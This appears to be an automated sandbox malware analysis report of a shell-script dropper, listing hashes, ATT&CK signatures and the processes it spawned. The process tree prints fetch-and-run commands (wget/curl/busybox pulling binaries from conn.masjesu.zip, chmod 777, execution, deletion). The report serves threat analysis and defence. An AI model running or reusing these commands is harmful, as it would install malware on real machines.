Analysis
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max time kernel
137s -
max time network
146s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
25/11/2024, 03:03
Static task
static1
Behavioral task
behavioral1
Sample
dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
Resource
debian9-mipsel-20240226-en
General
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Target
dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh
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Size
10KB
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MD5
7173544124289978f54216cb1135e57e
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SHA1
6a580c6df4d8f4bec33e2a5ef892ad699749e1be
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SHA256
dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c
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SHA512
0b0b27b4a2f32252afc968a82914be13709b26997b57f4afa8d2e506f93c335449ec620c7bc124272f36394da2f27e1f1826ad54918142bfc1f4bbbdb0dae737
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SSDEEP
192:nUQSy5EdIXldGC294wy9tJ3C294w7Xt9Sy5EdI3:nUYldGC294wyzJ3C294w79r
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 825 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT 826 U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 739 curl 824 busybox 828 wget 829 curl 831 busybox 720 wget -
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM curl File opened for modification /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT curl
Processes
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/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh/tmp/dc47d23aa4295846ad11b368b06c2ae42af57fea4ae0ae42b71075d6b734ad1c.sh1⤵PID:715
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/bin/rm/bin/rm bins.sh2⤵PID:717
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- System Network Configuration Discovery
PID:720
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:739
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- System Network Configuration Discovery
PID:824
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/bin/chmodchmod 777 U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- File and Directory Permissions Modification
PID:825
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/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT./U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵
- Executes dropped EXE
PID:826
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/bin/rmrm U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT2⤵PID:827
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM2⤵
- System Network Configuration Discovery
PID:828
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:829
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM2⤵
- System Network Configuration Discovery
PID:831
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97